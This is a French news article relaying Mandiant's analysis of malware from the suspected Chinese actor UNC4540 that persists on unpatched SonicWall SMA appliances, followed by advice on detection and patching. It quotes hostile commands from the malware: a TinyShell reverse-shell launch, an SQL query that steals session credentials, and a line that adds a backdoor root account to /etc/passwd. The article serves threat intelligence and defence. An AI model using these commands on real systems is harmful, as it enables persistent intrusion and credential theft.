Rechercher
Contactez-nous Suivez-nous sur Twitter En francais English Language
 











Abonnez-vous gratuitement à notre NEWSLETTER

Newsletter FR

Newsletter EN

Vulnérabilités

Se désabonner

Persistance à long terme d’un malware chinois sur des dipositifs SonicWall, l’importance du monitoring en continue

mars 2023 par Mandiant

Mandiant, en partenariat avec SonicWall Product Security and Incident Response Team (PSIRT), a identifié une campagne chinoise suspecte qui consiste à maintenir une présence à long terme en exécutant un logiciel malveillant sur une application SonicWall Secure Mobile Access (SMA) qui n’a pas été patchée. Le logiciel malveillant est capable de voler les informations d’identification de l’utilisateur, de fournir un accès au système d’exploitation et de survivre aux mises à jour du firmware. Mandiant traque actuellement cet acteur sous le nom de UNC4540.

Malware

L’analyse d’un appareil compromis a révélé une collection de fichiers qui donnent à l’attaquant un accès privilégié et ouvert à l’appareil. Le malware se compose d’une série de scripts bash et d’un binaire ELF unique identifié comme une variante de TinyShell. Le comportement général de la suite de scripts bash malveillants témoigne d’une connaissance approfondie de l’appareil et est bien intégré au système afin d’en garantir la stabilité et la durabilité.

Path Hash Function
/bin/firewalld e4117b17e3d14fe64f45750be71dbaa6 Main malware process
/bin/httpsd 2d57bcb8351cf2b57c4fd2d1bb8f862e TinyShell backdoor
/etc/rc.d/rc.local 559b9ae2a578e1258e80c45a5794c071 Boot persistence for firewalld
/bin/iptabled 8dbf1effa7bc94fc0b9b4ce83dfce2e6 Redundant main malware process
/bin/geoBotnetd 619769d3d40a3c28ec83832ca521f521 Firmware backdoor script
/bin/ifconfig6 fa1bf2e427b2defffd573854c35d4919 Graceful shutdown script
Tableau 1 : Fichiers malveillants

Module principal

Le principal point d’entrée du logiciel malveillant est un script bash nommé firewalld, qui exécute sa boucle primaire une fois pour un recensement de tous les fichiers du système : ...for j in $(ls / -R) do for i in $(ls / -R) do :... Le script est responsable de l’exécution d’une commande SQL pour réaliser le vol d’informations d’identification et l’exécution des autres composants. La première fonction de firewalld exécute la porte dérobée TinyShell httpsd avec la commande nohup /bin/httpsd -c -d 5 -m -1 -p 51432 > /dev/null 2>&1 & si le processus httpsd n’est pas déjà en cours d’exécution. Ceci met TinyShell en mode reverse-shell, lui ordonnant d’appeler l’adresse IP et le port susmentionnés à une heure et un jour spécifiques représentés par le flag -m, avec un intervalle de balise défini par le flag -d. Le binaire intègre une adresse IP codée en dur, qui est utilisée en mode reverse-shell si l’argument de l’adresse IP est laissé vide. Il dispose également d’un mode d’écoute bind shell.

L’objectif premier est probablement le vol de données d’identification

L’objectif principal de ce logiciel malveillant semble être de voler les informations d’identification hachées de tous les utilisateurs connectés. Il y parvient dans firewalld en exécutant systématiquement la commande SQL select userName,password from Sessions contre la base de données sqlite3 /tmp/temp.db et en les copiant dans le fichier texte /tmp/syslog.db créé par l’attaquant. La base de données source /tmp/temp.db est utilisée par le logiciel pour suivre les informations de session, y compris les informations d’identification chiffrées. Une fois récupérés par l’attaquant, les codes de chiffrement peuvent être déchiffrés hors ligne.

La réalisation montre que l’accent est mis sur la pérennité et la stabilité

Les attaquants ont consacré beaucoup d’efforts à la stabilité et à la durabilité de leurs outils. Cela leur permet d’accéder au réseau par le biais de mises à jour du firmware et de garder un pied sur le réseau par l’intermédiaire du dispositif SonicWall.

Scripts redondants : Le script de démarrage rc.local exécute firewalld au moment de la connexion, mais les efforts déployés pour assurer la stabilité et la persistance vont au-delà, avec des fonctionnalités conçues pour permettre un accès à long terme à l’attaquant. Une deuxième copie de firewalld, nommée iptabled, était également présente sur l’appareil. iptabled a été modifiée pour assurer la persistance du processus principal du logiciel malveillant en cas de sortie ou de plantage. Les deux scripts ont été configurés pour appeler l’autre s’il n’était pas en cours d’exécution, fournissant ainsi une instance de sauvegarde du processus principal du logiciel malveillant et donc une couche supplémentaire de résistance.

Les mises à jour du firmware sont modifiées pour permettre la pérennité et créer une nouvelle source de contamination : En plus d’assurer la stabilité, les attaquants ont mis en place un processus pour s’assurer que leur accès persisterait à travers les mises à jour du firmware. Le script bash geoBotnetd vérifie toutes les dix secondes si une nouvelle mise à jour du firmware apparaît dans le fichier /cf/FIRMWARE/NEW/INITRD.GZ. Si c’est le cas, le script copie le fichier pour le sauvegarder, le dézippe, le monte, puis copie l’ensemble des fichiers malveillants. geoBotnetd exécute également echo -e "acme:wegB/YNBuL7QI:0:0:pwned :/acme :/bin/bash\n" >> /sda/etc/passwd, ce qui ajoute l’utilisateur root backdoor acme au système. Ensuite, il réinjecte le tout et le remet en place avec tous les logiciels malveillants inclus, prêts à être installés. Cette technique n’est pas particulièrement sophistiquée, mais elle témoigne d’un effort considérable de la part de l’attaquant pour comprendre le cycle de mise à jour de la solution, puis pour développer et tester une méthode de maintien.

Les techniques utilisées ici, y compris le téléchargement de zips de mise à jour et la modification des binaires des appareils, sont cohérentes avec celles décrites par Mandiant, bien que Mandiant suive ces menaces de manière indépendante. Ces manipulations de firmware n’ont eu lieu que post-exploitation sur un appareil déjà infecté, et n’ont pas été vues utilisées dans le cadre d’une attaque de la supply chain.

Application d’un correctif au système binaire, susceptible de renforcer sa stabilité : Dans la même veine, qui montre les efforts déployés pour adapter le logiciel malveillant, le script firewalld principal comprend une fonction permettant d’ajouter un petit correctif au binaire SonicWall légitime firebased. Il utilise une simple commande sed pour remplacer la chaîne /sbin/shutdown -r now par bash /bin/ifconfig6 dans le binaire et crée ensuite le script /bin/ifconfig6 avec le contenu.

# !/bin/sh
ifconfig eth0 down
sleep 90
/sbin/shutdown -r now

Mandiant n’a pas expliqué en détail comment cela affecterait le dispositif ou dans quelles conditions cela aurait un impact, mais il est clair, d’après le changement, que cela était destiné à fournir une clôture progressive du dispositif de contrôle du réseau avant l’exécution de la commande d’arrêt. Il est probable que les attaquants aient rencontré des problèmes lors de l’utilisation ou des tests lorsque la commande firebased éteint le dispositif.

Opération à long terme, le vecteur d’infection initial est encore inconnu

Mandiant n’a pas été en mesure de déterminer l’origine de l’infection, mais le logiciel malveillant, ou un prédécesseur, a probablement été déployé en 2021. Mandiant estime que les accès des attaquants ont persisté grâce à de multiples mises à jour du firmware.

Détecter et défendre

Avant tout, il est essentiel de maintenir une bonne politique de correctifs pour réduire le risque d’exploitation des vulnérabilités. A ce jour, SonicWall recommande vivement aux clients SMA100 de passer à la version 10.2.1.7 ou à une version plus récente, qui comprend des améliorations de renforcement telles que la surveillance de l’intégrité des fichiers (FIM) et l’identification des processus anormaux. Un billet de blog SonicWall décrivant les caractéristiques du correctif est disponible (New SMA Release Updates OpenSSL Library, Includes Key Security Features) et le correctif lui-même est disponible ici : Upgrade Path For SMA100 Series.

Afin d’assurer la sécurité des clients, les clients du SMA100 utilisant les versions 10.2.1.7 ou supérieures recevront des notifications dans leur console de commande concernant les mises à jour de sécurité CRITIQUES en attente. Étant donné la difficulté d’examiner directement les appareils touchés, l’examen des journaux disponibles pour détecter des signes secondaires de compromission, tels que des connexions anormales ou du trafic interne, peut offrir certaines possibilités de détection. Toutefois, l’application du correctif récent est le meilleur moyen de limiter toute altération ou modification inattendue de l’appareil.

Un modèle de compromission des dispositifs de réseau chinois

La mise au point de logiciels malveillants pour un appareil géré n’est souvent pas une mince affaire. Les fournisseurs ne permettent généralement pas aux utilisateurs d’accéder directement au système d’exploitation ou au système de fichiers, mais offrent aux administrateurs une interface graphique ou une interface de ligne de commande (CLI) limitée avec des garde-fous empêchant quiconque de casser accidentellement le système. En raison de ce manque d’accès, les attaquants ont besoin d’une bonne quantité de ressources et d’efforts pour développer des exploits et des logiciels malveillants pour les appareils gérés. Ces dernières années, les attaquants chinois ont déployé de multiples exploits et logiciels malveillants de type "zero-day" pour une variété d’appareils de réseau orientés vers le web en vue d’une intrusion complète au sein de l’entreprise, et l’exemple rapporté ici fait partie d’une tendance récente qui, selon Mandiant, devrait se poursuivre à court terme.


Voir les articles précédents

    

Voir les articles suivants